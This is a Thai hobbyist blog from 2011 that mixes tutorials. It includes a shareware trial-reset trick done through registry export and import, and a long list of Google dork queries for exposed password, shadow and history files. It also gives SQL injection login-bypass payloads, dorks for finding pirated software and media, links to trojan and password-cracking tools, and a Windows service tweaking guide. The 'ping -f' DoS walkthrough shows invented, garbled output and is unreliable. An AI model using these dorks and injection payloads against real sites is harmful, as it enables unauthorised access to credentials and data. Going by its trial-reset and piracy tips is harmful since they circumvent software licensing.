วันศุกร์ที่ 24 มิถุนายน พ.ศ. 2554

โปรแกรมสั่งปิดเครื่องคนอื่น


โปรแกรมสั่ง ปิดเครื่อง log off ผ่าน lan เขียนโดยพงศธร ม.1/1
รหัสโปรแกรม 11797     


http://www.mediafire.com/?sbsgvz4vs83vce1



ที่มีพี่ถามเข้ามาว่าใช้อย่างไง

ไม่รู้เหมือนกัน ครับ ปั้มกระทู้เค้ามาแล้วเก็บไว้ในเครื่อง จำไม่ได้ว่า
เอามาจาก web ไหน นานแล้ว เอามาเก็บไว้ดูเอง ยังไม่ได้แก้
ต้องตามคนเขียนที่ upload มีเดียไฟล์ ลองเป็นสมาชิกดู ครับ ชื่อพงศธร ม.1/1
รหัสของโปรแกรมนี้ 11797 ต้องใส่ด้วย รู้เท่านั้น

ลองใช้โปรแกรมควบคุมของร้านเน็ตดู น่าจะใช้งานแบบเดียวกัน เช่น โปรแกรมควบคุมเครื่องของร้านเน็ AnyCAFE พร้อมคู่มือ เป็น FreeWare ไม่เสียตังค์ ครับ http://www.anysource.net/ เป็นเว๊ป รับเขียนโปรแกรมราคาถูก

หรือถ้าอยากได้โปรแกรมอะไร ลองหาที่นี่ดุ ครับ FILECROP เป็น Search Engine ค้นหาโปรแกรม
คลิกที่รูปเลย ครับ



เชียนตอบข้างล่าง กลัวพี่ไม่เห็นลิงค์ ครับ


 Debit  All Admin In Thailand

วันเสาร์ที่ 11 มิถุนายน พ.ศ. 2554

มาศึกษา วิธีต่ออายุการใช้งาน โปรแกรม shareware ว่าเขาทำกันอย่างไร

ติดใจโปรแกรม เก็บตังค์ซื้อจะดีกว่า โปรแกรมทำงานสมบูรณ์แบบกว่าเยอะ ครับผม นี้เป็น case study เอาไว้ศึกษา เท่านั้น

วิธีต่ออายุการใช้งาน โปรแกรม shareware โดยไม่ต้อง Crack ด้วย Registry Editor article


1.  ที่ Start เปิดที่ Run


2.  พิมพ์ regedit เพื่อเปิด Registry Editor ขึ้นมา


3.  ที่ File เลือก Export เพื่อที่จะทำสำเนาข้อมูล Registry ของวินโดวส์


4.  จะมีหน้าต่าง Export Registry File เพื่อบันทึกไฟล์ ขึ้นมา
ในช่อง save in : เลือก ห้องที่่จะเก็บ ตัวอย่างนี้ขอเป็น My Documents
ต่อไป เลือก All    ตรงกรอบ Export range อยู่ด้านล่างมุมซ้าย
จากนั้นพิมพ์ตั้งชื่อไฟล์ในช่อง File Name : *. reg (ตั้งชื่ออะไรก็ได้ ในที่นี้ขอสมมุติชื่อว่า Crack )
ที่ช่อง File of type หรือ Save as type ให้เลือกเป็น : Registraration File (*.reg) แล้วกด Save


5.  เมื่อครบกำหนดตามระยะการใช้งานโปรแกรม shareware โปรแกรมจะไม่สามารถใช้งานได้


6. ให้เราไปที่ Start -> Run พิมพ์ regedit เพื่อเปิด Registry Editor ขึ้นมา


7. จากนั้นไปที่ File คราวนี้เลือก Import


8. ให้ไปที่ ช่อง Look in : เลือกห้องที่เราเก็บสำเนาเอาไว้ ตัวอย่างในที่นี้เป็น My Decuments เพื่อเลือกชื่อไฟล์ ที่เราทำสำเนาเอาไว้


9. จากนั้น คลิกที่ปุ่ม Open เป็นอันเสร็จ   โปรแกรม shareware ก็สามารถกลับมาใช้งานได้อีกครั้ง




อาจจะมีบ้างที่บางโปรแกรม เขียนโปรแกรมตรวจสอบป้องกัน ไม่ให้นำ สำเนา registry เดิมมาใช้ แต่ไม่รู้จะทำไปทำไม เพราะถึงอย่างไรถ้าลบโปรแกรมที่ลงไว้เดิม ได้เกลี้ยงหมดจด ก็ลงใหม่ได้




มายากล





 Search Engine   Bit Snoop  โลกของ Torrents   อีกแห่งหนึ่ง   ที่มนุษย์ไซเบอร์ทั้งหลาย We search. You download เขาหาของใช้กัน ถ้าใช้เพื่อการศึกษาก็ดี เพราะ ทุกอย่างมีทั้งดี และไม่ดี ขึ้นอยู่กับเราใช้มัน
If we don't index it - it does not exist 

เข้าไปค้นหา คลิกที่รูปนกได้เลย




Debit  All Admin In Thailand







หมายิ้ม 






FW Mail ดี ดี





เว๊บที่เขียนเอง อาจถูก Hacker เจาะได้ง่าย ด้วย Google ศึกษาไว้ป้องกันให้แน่นหนา

Tip Hack WebSite 

ขอบอกก่อนว่า พวก Hacker เป็นพวกโปรแกรมเมอร์ฝ่ายดี แต่ถ้าใช้ไปในทางที่ผิด เรียกว่า พวก Cracker เป็นอาชญากรทาง IT มีความผิดตามกฎหมาย ฉะนั้นศึกษาไว้เป็นความรู้ เพื่อรู้ทัน ไว้ป้องกัน ต้องฉลาดกว่าถึงจะรอด อย่าได้ลองใช้ไปในทางที่ผิด ถึงอย่างไรก็ตามเจอ ถ้าอยากตาม 

 

 

tip เทคนิค ในวันนี้จะขอเสนอการเจาะ web site และการเจาะข้อมูลทั่วไป แบบง่ายๆให้ทุกท่านได้รับรู้ และป้องกันตัวเองได้

โดยเริ่มจาก การใช้ Google ค้นหาข้อมูลลับ เอาคำเหล่านี้ไปใส่ในช่องค้นหาของ Google ดู แล้วท่านจะพบว่าพวก Hacker เขาล้วงตับกันอย่างไร ทั้งนี้ต้องเก่งภาษาอังกฤษบ้าง 

บาง web เขาจะ hack เราถ้าเข้าไป แนะนำให้ ใช้โปรแกรม แช่แข็งเครื่องเราไว้ก่อนน่าจะดี แล้วอย่ากดดาวโหลดอะไร ถ้ามันขึ้นได้ดาวโหลด 

"Index of /admin"
"Index of /password"
"Index of /mail"
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto

administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index

allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov

inurl: passwd filetype:txt
inurl: admin filetype:db
inurl: iisadmin
inurl: "auth_user_file.txt"
inurl: "wwwroot/*."


top secret site:mil
confidential site:mil

allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart

ALTERNATIVE INPUTS====================

_vti_inf.html
service.pwd
users.pwd
authors.pwd
administrators.pwd
shtml.dll
shtml.exe
fpcount.exe
default.asp
showcode.asp
sendmail.cfm
getFile.cfm
imagemap.exe
test.bat
msadcs.dll
htimage.exe
counter.exe
browser.inc
hello.bat
default.aspdvwssr.dll
cart32.exe
add.exe
index.jsp
SessionServlet
shtml.dll
index.cfm
page.cfm
shtml.exe
web_store.cgi
shop.cgi
upload.asp
default.asp
pbserver.dll
phf
test-cgi
finger
Count.cgi
jj
php.cgi
php
nph-test-cgi
handler
webdist.cgi
webgais
websendmail
faxsurvey
htmlscript
perl.exe
wwwboard.pl
www-sql
view-source
campas
aglimpse
glimpse
man.sh
AT-admin.cgi
AT-generate.cgi
filemail.pl
maillist.pl
info2www
files.pl
bnbform.cgi
survey.cgi
classifieds.cgi
wrap
cgiwrap
edit.pl
perl
names.nsf
webgais
dumpenv.pl
test.cgi
submit.cgi
guestbook.cgi
guestbook.pl
cachemgr.cgi
responder.cgi
perlshop.cgi
query
w3-msql
plusmail
htsearch
infosrch.cgi
publisher
ultraboard.cgi
db.cgi
formmail.cgi
allmanage.pl
ssi
adpassword.txt
redirect.cgi
cvsweb.cgi
login.jsp
dbconnect.inc
admin
htgrep
wais.pl
amadmin.pl
subscribe.pl
news.cgi
auctionweaver.pl
.htpasswd
acid_main.php
access.log
log.htm
log.html
log.txt
logfile
logfile.htm
logfile.html
logfile.txt
logger.html
stat.htm
stats.htm
stats.html
stats.txt
webaccess.htm
wwwstats.html
source.asp
perl
mailto.cgi
YaBB.pl
mailform.pl
cached_feed.cgi
global.cgi
Search.pl
build.cgi
common.php
show
global.inc
ad.cgi
WSFTP.LOG
index.html~
index.php~
index.html.bak
index.php.bak
print.cgi
register.cgi
webdriver
bbs_forum.cgi
mysql.class
sendmail.inc
CrazyWWWBoard.cgi
search.pl
way-board.cgi
webpage.cgi
pwd.dat
adcycle
post-query
help.cgi




posted by AGRESSSORS @ 6:13 PM
Again Google

This reveals mySQL database dumps. These database dumps list the structure and content of databases, which can reveal many different types of sensitive information.

http://www.google.com/search?hl= ... sql&btnG=Search
----------------------------------------------------------------------------------------
These log files record info about the SSH client PUTTY. These files contain usernames, site names, IP addresses, ports and various other information about the SSH server connected to.

http://www.google.com/search?hl= ... Alog+username+putty
----------------------------------------------------------------------------------------
These files contain cleartext usernames and passwords, as well as the sites associated with those credentials. Attackers can use this information to log on to that site as that user.

http://www.google.com/search?hl= ... A%22password.log%22
---------------------------------------------------------------------------------------

This file contains port number, version number and path info to MySQL server.

http://www.google.com/search?hl= ... onf+OR+mysql_config
-----------------------------------------------------------------------------------------

This search reveals sites which may be using Shockwave (Flash) as a login mechanism for a site. The usernames and passwords for this type of login mechanism are often stored in plaintext inside the source of the .swl file.

http://www.google.com/search?hl= ... +filetype%3Aswf+swf
--------------------------------------------------------------------------------------

These are oulook express email files which contain emails, with full headers. The information in these emails can be useful for information gathering about a target.

http://www.google.com/search?hl= ... 2Bintext%3A%22To%22
----------------------------------------------------------------------------------------

This google search reveals users names, pop3 passwords, email addresses, servers connected to and more. The IP addresses of the users can also be revealed in some cases.

http://www.google.com/search?num ... net+account+manager

---------------------------------------------------------------------------------------
คำค้นหา อาจจะมากกว่านี้ลองเอาไปประยุกต์ใช้กันดู 
โดยดัดแปลคำข้างใน

-------------------------------------------------------------------------------------------------------------








คำสั่งเจาะระบบ login (อาจใช้ได้กับ Web site ที่เขียนเองโดยป้องกันไม่เป็น)
or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

   อันนี้เป็นการ Hack เว็บที่ใช้ฐานข้อมูลเป็น SQL ซึ่งตามที่ต่างๆก็จะอุด Bug ตรงส่วนนี้ไว้เรียบร้อยแล้ว
แต่ก็มีบาง Web site (Script เขียนเองซึ่งมักจะเป็นเว็บไซต์ของโรงเรียน หรือเว็บส่วนบุคคล) ที่มักจะมีรูรั่วนี้ พลาดออกมาให้เห็น

หลังจากที่การ Login  ฟลุ๊คเ้ข้าไปได้

ค่าที่เป็นไปได้หลังจากการ login ก็คือ
1.ได้รับสิทธิ์ของ User นั้นๆ
2.ได้รับสิทธ์เท่ากับคนอื่นๆ
3.ได้รับสิทธ์เป็นผู้ใช้ที่อยู่อันดับแรก หรือท้ายของตาราง (admin)
4. ไม่ได้อะไร


นอกจากใช้คำสั่งเหล่านี้ ยังมีคำสั่งอื่นๆที่สามารถใช้ได้อีก เช่น

SELECT * FROM User WHERE

SELECT * FROM * WHERE

'GROUP BY username;--

'employee.feild'

เป็นต้น


ซึ่งเป็นคำสั่ง SQL สามารถหาความรู้ได้จากที่ต่างๆใน internet

การป้องกันโดยพื้นฐานนั้นก็คือ การกรองค่าอักขระแบบแปลกๆออกไปจากข้อความที่รับเข้ามา เช่น &!@#$%^ เป็นต้น หรือการจำกัดความยาวของช่องรับข้อความ ก็เป็นอีกหนึ่งวิธีที่น่าสนใจ หรือไม่ก็ให้พวกโปรแกรมเมอร์ที่เขียน Web เก่งๆ ตรวจอีกที หรือไม่ก็ทดลอง Hack Web ตัวเองดู ฯลฯ

.............................................................................................................................................................

: 3 วิธี ใช้ Google Hack หาสิ่งที่เราต้องการ :


สามวิธี ใน Google ที่ให้ได้มาซึ่งทุกอย่าง ที่อยากดาวน์โหลด ในอินเตอร์เน็ต 
คำแนะนำ สามารถใช้วิธีนี้ ในการหาดาวน์โหลดโปรแกรม 
แคร็ก ซีดี คีย์ หรือต่างๆนานา ที่อยากได้ 
แต่ขอแนะนำว่า ควรจะดาวน์โหลด มาเพื่อการทดลอง ทดสอบ หรือการศึกษาเท่านั้น หากชอบ ให้ซื้อโปรแกรมนั้นๆ

วิธีที่หนึ่ง
พิมพ์คำเหล่านี้ ใน Google Search

 

(1)
" parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
 

(2)
" parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
 

(3)
" parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
 

(4)
" parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
 

(5)
" parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
 

(6)
" parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
 

หมาย เหตุ ให้คุณเปลี่ยน คำที่ตามหลัง parent directory เช่น MP3 Gamez appz DVDRip เป็นสิ่งที่คุณอยากได้ แล้วก้อค้นหา คุณจะพบกับ ความมหัศจรรย์ใน Google


วิธีที่สอง
 

พิมพ์คำต่อไปนี้ใน Google
?intitle:index.of? mp3
 

จากนั้นแค่เพิ่มชื่อ เพลง อัลบั้ม นักร้อง ลงไป 
เช่น   ?intitle:index.of? mp3 myfavoritesongs



วิธีที่สาม
 

พิมพ์คำต่อไปนี้ใน Google
inurl:micr0s0f filetype:iso

จากนั้น ก้อเปลี่ยน คำว่า micr0s0f กับคำว่า iso เป็นคำที่คุณต้องการ 
เช่น   inurl:myc0mpany filetype:zip


..............................................................................................................................................................


วิธีที่ Hacker เจาะ Server โดยใช้ Dos (การ ping เครื่อง) วิธีนี้จะทำให้ Server หรือ Web site ล่ม ส่วนมากพวก Hacker จะปลอมตัว หรือปลอม IP address โดยใช้ Proxy Server เข้าไปก่อกวน เป็นการกระทำที่ผิดกฎหมาย ปกติแล้ว ถ้าไม่เป็น Server หรือ Web ของรัฐบาล หรือบริษัทใหญ่ๆ แล้ว ก็จะไม่ตาม Hacker พวกนี้ ซึ่งสามารถตามได้ โดยดู IP หลังซ่อน IP อีกที 

พอได้ IP มาแล้วก็ตามไปเช็ค 
(IP Address นั้น มีอยู่ 2 แบบ คือ Public IP และ Private IP
Public IP คือ IP ตอนที่เชื่อมต่อเข้าอินเตอร์เน็ต จะเปลี่ยนไปเรื่อยๆ ถ้าต่อเน็ตไหม่  เป็น IP จริง
Private IP คือ คอมพิวเตอร์ที่เชื่อมต่อในระบบแลน  จะถูกกำหนดไว้เอง คือ IP ที่ขึ้นต้นด้วย 192.168.0.0 เป็น IP ปลอม)

เว็บที่ใช้เช็ค IP 
เช่น เช็คที่
หรือที่
เป็นต้น

1. เข้าไปที่ start/run/พิมพ์ cmd/กด OK/พิมพ์คำว่า  netstat -n   เพื่อแสดงการเชื่อมต่อของเครื่องกับภายนอก
 
2. ใช้คำสั่ง ping -f ตามด้วยชื่อเว็ปไซด์ 
เช่น  ping -f  http://www.ragnarok.com
ตัวอย่างผลลัพท์ที่ได้
Reply from server$$%$$ /-/-/-/ $$%$$ code trojanz: bytes=32 time<1ms TTL=128
Reply from 203.116.93.2: bytes=32 time<1ms TTL=128
Reply from ping for 203.116.93.2: bytes=32 time<1ms TTL=128
Reply from http://www.ragnarok.com 23 !@error@!: bytes=32 time<1ms TTL=128

 
3.ทดสอบว่า เว๊ปไซด์ เปิด port ให้หรือไม่
Received sent port

Bytes 97111 97111 23
Unicast packets 1616 1616 25
Non-unicast packets 0 0 22
Discards 0 0 25
Errors 0 0 21
Unknown protocols 0 0 0
Port 0 0 *23*                          (  แสดงว่า เปิด port 23 )

4. telnet เข้าไปที่เครื่อง server
cmd - telnet 203.116.93.2 port 23 connection wait .......
coneted : user - somchai
pass - **********
กด Enter


Web ที่พวก Hacker นำเครื่องมือมาใช้ บางส่วน
1. http://www.foundstone.com <<< สแกน IP
2. http://www.hide-ip-soft.com <<< โปรแกรมซ่อน IP
3. http://www.nirsoft.net <<< ถอดรหัสพาสเวิร์ด MSN
4. http://www.awinsoft.com <<< ดักจับข้อความสนทนาในMSN
5. http://www.awinsoft.com <<< โทรจัน
6. http://expmedia.hosk.sk <<<ไวรัส และโทรจันต่างๆ (ไม่มีแล้ว)




  



Debit  All Admin In Thailand



โฆษณา แพนด้า


F U



L U



Credit  All Hacker In The World
Debit   All  Crack  In The World

วันศุกร์ที่ 10 มิถุนายน พ.ศ. 2554

วิธีการปิด Service ของโปรแกรม Windows เพื่อให้เครื่องทำงานเร็วขึ้น

Speed up by Disable เร่งเครื่องให้เต็มที่ ด้วยการปิด Service ที่เราไม่ได้ใช้งาน ที่ติดมากับระบบปฏิบัติการ Windows เยอะมาก ซึ่งทำให้เครื่องช้าลงไป ทั้งที่จริงๆแล้ว เราใช้งาน Service เพียงไม่กี่ตัว ทำให้ระบบเสียเวลาไปประมวลผล service ที่ไม่ได้ใช้งานด้วย









ปัญหาคือ สำหรับเราแล้ว Service ตัวไหนบ้างที่ไม่ได้ใช้งาน?

เข้าไปดูกัน

เริ่มที่ Start เลือก Run พิมพ์ service.msc กดปุ่ม OK หน้าต่าง Service ก็จะรันขึ้นมา ในนั้นจะมี Service มากมายที่สามารถปรับตั้งค่าการทำงาน (Startup Type) โดยจะแบ่งรูปแบบการตั้งค่าดังนี้
  • Automatic ให้เริ่มทำงานโดยอัตโนมัติทุกครั้ง ที่เปิดเครื่อง และบูตเข้าสู่วินโดวส์
  • Manual ไม่ให้เริ่มทำงานเอง แต่จะสามารถสั่งให้หยุดหรือเริ่มการทำงานได้โดยผู้ใช้เอง หรือโปรแกรมบางตัว
  • Disable เป็นการปิดการทำงานของ Service ไม่ให้เริ่มการทำงาน



โหมด Startup ของ Service มีอยู่ด้วยกันหลัก 3 แบบแล้วแต่รูปแบบการใช้งาน
Service ไหนปิดได้บ้าง

เนื่อง จาก Service ของระบบวินโดวส์มีอยู่มากมาย บางตัวเป็น Service ของโปรแกรมต่างๆ ที่เราติดตั้งไว้ และบางตัวก็เป็น Service ของระบบเอง 
ดังนั้นจึงต้องทราบก่อนว่า Service ไหนเป็นของอะไร และจะต้องใช้งานหรือไม่ จึงค่อยตัดสินใจปิด เราไปดูกันเลยดีกว่ามี Service อะไรบ้างที่น่าจะปิดกันได้




ใช้คำสั่ง Run แล้วพิมพ์ service.msc เพื่อเข้าสู่หน้าจอ Service




หน้าจอ Service จะมีรายชื่อของ Service ในเครื่องคุณมากมาย



ดับเบิลคลิกที่ชื่อ Service เพื่อตั้งค่าเกี่ยวกับ Service นั้น



เราสามารถคลิกขวาแล้วเลือก Start or Stop เพื่อเริ่มและหยุดการทำงานของ Serviceได้ทันที

  • AdobeLM Service: เป็น Service ของ Adobe ที่ไม่ได้ใช้ประโยชน์อะไรครับ ถ้าใครมีตัวนี้อยู่ก็ปิดได้เลย 
  •  
  • Alerter: ตัวนี้ถ้าคุณไม่ได้เชื่อมต่อกับระบบเครือข่ายก็สามารถปิดได้เลย 
  •  
  • Application Management: สำหรับตัวนี้ไม่แนะนำให้ปิดครับ แต่ให้เปลี่ยนเป็น Manual แทน 
  •  
  • Automatic Updates: Service สำหรับ Windows Update ครับ ไม่ควรปิด นอกเสียจากว่าคุณจะใช้วิธีการอัพเดตแบบ Offline อย่างโปรแกรม AutoPatcher แทนครับ 
  •  
  • ClipBook: เป็นตัวสำหรับแชร์บางอย่างบนเครือข่าย ส่วนใหญ่ไม่ได้ใช้อยู่แล้ว ปิดซะ 
  •  
  • Computer Browser: ปิดอีกตัวถ้าไม่ได้ต่อกับเครือข่ายเหมือนกัน เพราะมันไว้สำหรับเข้าไปดึงไฟล์จากเครื่องอื่น 
  •  
  • Cryptographic Services: ตัวนี้เป็นการเข้ารหัส ถ้าไม่แน่ใจว่าจำเป็นไหมก็ตั้งไว้เป็น Manual ครับ 
  •  
  • Distributed Transaction Service: ตั้งค่าไว้เป็น Manual 
  •  
  • DNS Client: ตัวนี้เปลี่ยนเป็น Manual ไปก็ได้ครับถ้าไม่ได้เชื่อมต่อกับเครือข่าย 
  •  
  • Error Reporting Service: เวลามีโปรแกรมแฮงก์แล้วให้กดปุ่ม Don’t Sent ก็เพราะเจ้า Service ตัวนี้แหละครับ ดังนั้นปิดมันไปเลย 
  •  
  • Fast User Switching Compatibility: สำหรับเครื่องที่มีแรมน้อยปิดไปเลยดีกว่าครับ เพราะ Fast User Switching มีไว้สำหรับการสลับการทำงานของ User โดยไม่ต้อง Logout ก่อน ถ้าคุณมีหรือใช้แค่ User เดียวอยู่แล้วก็ปิดไปเลยครับ 
  •  
  • FTP Publishing: ถ้าไม่ได้ใช้ FTP ก็ปิดได้เลยครับ 
  •  
  • Help and Support: ถ้าคุณไม่เคยใช้ Help ของ Windows เลย (ซึ่งส่วนใหญ่ก็ไม่ได้ใช้) ปิดไปเลยดีกว่าครับ 
  •  
  • HTTP SSL: ตั้งไว้เป็น Manual ครับ เผื่อต้องใช้เวลาเข้าเว็บที่มี Secure Login อย่างเว็บ E-Banking 
  •  
  • Human Interface Device Access: ถ้าคุณไม่ได้ใช้ Hot-key หรือ remote system ก็ปิดไปก็ได้ครับ 
  •  
  • IMAPI CD-Burning COM Service: Service สำหรับคนที่ใช้ไดรฟ์เขียนแผ่น CD/DVD ไม่ควรปิด แต่ตั้งไว้เป็น Manual จะดีกว่า เพื่อประหยัดเมมโมรี 
  •  
  • Indexing Service: ตัวนี้เป็น Service ที่กินทรัพยากรสูงมาก สำหรับทำ Index ในการค้นหาข้อมูลในเครื่อง ดังนั้นถ้าคุณไม่ได้ใช้ฟังก์ชันค้นหาของวินโดวส์เลย ก็ปิดมันไปได้เลย เครื่องจะเร็วขึ้นอีกเยอะ 
  •  
  • InstallDriver Table Manager: ตัวนี้ปิดไปได้เลยเหมือนกันครับ ไม่ส่งผลต่อการทำงาน 
  •  
  • IPSEC Services: ตั้งไว้เป็น Manual ดีกว่า 
  •  
  • Windows Messenger: ถ้าคุณไม่ได้ใช้ Windows Messenger (ไม่ใช่ MSN Messenger หรือ Windows Live Messenger นะครับ) ก็รีบปิดไปเลยครับ เพราะมันกินแรมเยอะมาก 
  •  
  • MS Software Shadow Copy Provider: อันนี้ตั้งค่าให้เป็น Manual ครับ 
  •  
  • Net Logon: อันนี้เปิดได้เลยครับถ้าไม่ได้เชื่อมต่อระบบเครือข่าย 
  •  
  • NetMeeting Remote Desktop Sharing: สำหรับผู้ใช้ทั่วไปที่ไม่ได้ใช้ Remote Desktop อยู่แล้วก็ปิด Service นี้ไปได้เลยครับ 
  •  
  • Network Provisioning Service: ถ้าไม่ได้เชื่อมต่อกับเครือข่ายก็ปิดอีกเหมือนกัน 
  •  
  • NT LM Security Support Provider: ปิดไปได้อีก 1 ตัวเลยครับ 
  •  
  • NVIDIA Display Driver Service: สำหรับคนใช้การ์ดจอ nVidia แล้วไม่ได้เปิดใช้ nVidia Desktop ก็ปิดดีกว่าครับ 
  •  
  • Office Source Engine: ตัวนี้ปิดไปได้อีกเหมือนกัน ใช้ในกรณีที่ MS Office ของคุณมีปัญหาแล้วต้องการซ่อมแซมไฟล์ระบบ ซึ่งคุณสามารถใช้แผ่น CD ติดตั้งที่มีอยู่มาแทนได้อยู่แล้ว 
  •  
  • Portable Media Serial Number Service: ตัวนี้ตั้งไว้เป็น Manual ครับเพราะเราน่าจะใช้สื่อแบบพกพากันบ่อยอยู่แล้ว 
  •  
  • Print Spooler: ถ้าคุณไม่ได้มีพรินเตอร์ก็ปิดไปได้อีกแล้ว 
  •  
  • Protected Storage: ปิดไปเลยครับ ถ้าคุณไม่ได้ให้คนแปลกหน้ามานั่งเครื่องคุณอยู่แล้ว 
  •  
  • Remote Desktop Help Session Manager: เป็นอีกหนึ่งตัวที่ถ้าคุณไม่ได้ใช้ Remote Desktop ก็ปิดไปจะดีกว่า 
  •  
  • Remote Procedure Call Locator: อันนี้ให้ตั้งไว้เป็น Manual ครับ 
  •  
  • Remote Registry: รีบปิดไปเลยครับ Service นี้ ถ้าเปิดไว้อาจจะเป็นภัยในภายหลังได้ 
  •  
  • Removable Storage: ตัวนี้ไม่ควรปิดครับเพราะเราใช้พวกแฟลชไดรฟ์อยู่แล้ว อย่างดีก็แค่ตั้งไว้เป็น Manual ครับ 
  •  
  • Routing and Remote Access: อันนี้ให้ตั้งเป็น Manual ครับ 
  •  
  • Secondary Logon: ไม่ค่อยมีประโยชน์ครับ ปิดไปได้เลย หรือถ้าไม่แน่ใจก็ปรับเป็น Manual

  • Security Accounts Manager: ปิดไปเลยก็ได้ครับไม่ได้ใช้อยู่แล้วนอกจากจะใช้การเข้ารหัสบน NTFS 
  •  
  • Security Center: อันนี้ก็ปิดไปด้วยก็ได้ครับ กินทรัพยากรเครื่องไปเปล่าๆ 
  •  
  • Server: ถ้าคุณไม่ได้ต่อกับเครือข่ายก็ปิดไปอีกตัวหนึ่งครับ 
  •  
  • Smart Card: ไม่มีค่อยมีใครใช้ Smart Card กับเครื่องที่บ้านใช่ไหมครับ ดังนั้นปิดไปเถอะ 
  •  
  • SSDP Discovery Service: ใช้สำหรับรองรับอุปกรณ์เครือข่ายแบบ UPnP ดังนั้นไม่มีก็ปิดครับ 
  •  
  • Task Scheduler: ถ้าคุณไม่ได้ตั้งการทำงานอะไรไว้ที่ Task Scheduler อย่างสแกนดิสก์ หรือจัดเรียงข้อมูลก็ปิดครับ 
  •  
  • TCP/IP NetBIOS Helper: ตั้งไว้เป็น Manual ครับตัวนี้ 
  •  
  • Telnet: ถ้าคุณเป็นผู้ใช้ตามบ้าน Telnet คงไม่ใช้ ดังนั้นปิดครับ แต่ถ้าคุณชอบซนหน่อยอาจจะตั้งเป็น Manual ก็ได้ 
  •  
  • Terminal Services: ถ้าคุณไม่ใช้ Remote Desktop ก็ปิดไปอีกเหมือนกัน 
  •  
  • Uninterrupted Power Supply: ปิดไปได้เลยครับถ้าคุณไม่ได้ต่อ UPS เข้ากับคอมพิวเตอร์ผ่าน COM Port 
  •  
  • Universal Plug and Play Device Host: อันนี้ปิดไม่ได้ครับ แต่ตั้งให้เป็น Manual ได้ 
  •  
  • User Privilege Service: อันนี้ให้ตั้งเป็น Manual ครับ 
  •  
  • Volume Shadow Copy: ปิดไปได้เลยครับถ้าคุณไม่ได้ใช้ System Restore ของวินโดวส์ 
  •  
  • Windows Firewall/Internet Connection Sharing (ICS): อันนี้จะเปิดไว้ก็ได้ครับ แต่ถ้าคุณมีซอฟต์แวร์ไฟร์วอลล์อยู่แล้วมันจะซ้ำซ้อนกันเล็กน้อย ดังนั้นปิดดีกว่า (ถ้าคุณมีซอฟต์แวร์ไฟร์วอลล์นะ) 
  •  
  • Windows Image Acquisition (WIA): ใช้สำหรับดึงภาพออกจากกล้องดิจิตอลและสแกนเนอร์ ปิดถ้าไม่ได้ใช้ 
  •  
  • Windows Media Connect: ถ้าคุณไม่ได้มีเครื่องเล่น MP3 ที่รองรับการ Sync ข้อมูลกับ WMP ได้ก็ปิดไปได้เลยครับ 
  •  
  • Windows Media Connect (WMC) Helper: ปิดตัวนี้ด้วยครับ มันสัมพันธ์กับตัวข้างบน 
  •  
  • Windows Time: ถ้าไม่ได้ใช้ระบบตั้งเวลากับ Server ก็ไม่ต้องใช้ครับ 
  •  
  • Wireless Zero Configuration: ปิดไปถ้าไม่ได้ใช้เครือข่ายไร้สาย 
  •  
  • WMI Performance Adapters: อันนี้ก็ปิดได้ครับ สำหรับการใช้งานทั่วไป 
  •  
  • Workstation: ปิด Service อันนี้ด้วยครับถ้าคุณไม่ได้เชื่อมต่อกับเครือข่าย
ข้อควรระวัง
การ แก้ไขการตั้งค่า Service เป็นเรื่องที่มีความเสี่ยงสูง 
ถ้าปิด Service ที่สำคัญกับระบบ อาจจะทำให้การทำงานบางอย่างไม่สามารถทำงานได้หรือส่งผลเสีย หายต่อระบบ ดังนั้น ควรอ่านรายละเอียดของ Service แต่ละตัวให้ดีเสียก่อน และถ้าไม่แน่ใจจริงๆ ก็อย่างไปปรับ หรือปรับเป็น Manual แทนที่ปิด เพื่อลดความเสี่ยงลง




แต่ละ Service จะมีคำอธิบายอยู่ข้างๆ  ก่อนปรับ ควรทำความเข้าใจว่า Service นั้นทำหน้าที่อะไร และจำเป็นต้องใช้หรือไม่

สรุป
เห็นได้ว่ามี Service ที่บางครั้งไม่ได้ใช้งานเลย หรือนานๆ ใช้ที อยู่มากมายในเครื่อง ซึ่งสิ่งเหล่านี้ ทำให้สิ้นเปลืองทรัพยากรของเครื่องไปโดยเปล่าประโยชน์ โดยเฉพาะ คนที่ใช้คอมพิวเตอร์โดย ไม่ได้เชื่อมต่อกับระบบเครือข่ายจะเห็นว่ามี Service ที่ไม่ได้ใช้อยู่เป็นจำนวนมากเลย
ก็ถือว่า เป็นทางเลือกอีกหนึ่งทางสำหรับคนที่ต้องการเพิ่มความเร็วให้กับ เครื่องคอมพิวเตอร์ 
แน่นอนว่า มันอาจจะมีประโยชน์มากๆ แต่นั่นก็หมายความว่า คุณจะต้องเสียความสามารถบางอย่างของวินโดวส์ไปด้วยในการปิดแต่ละ Service 
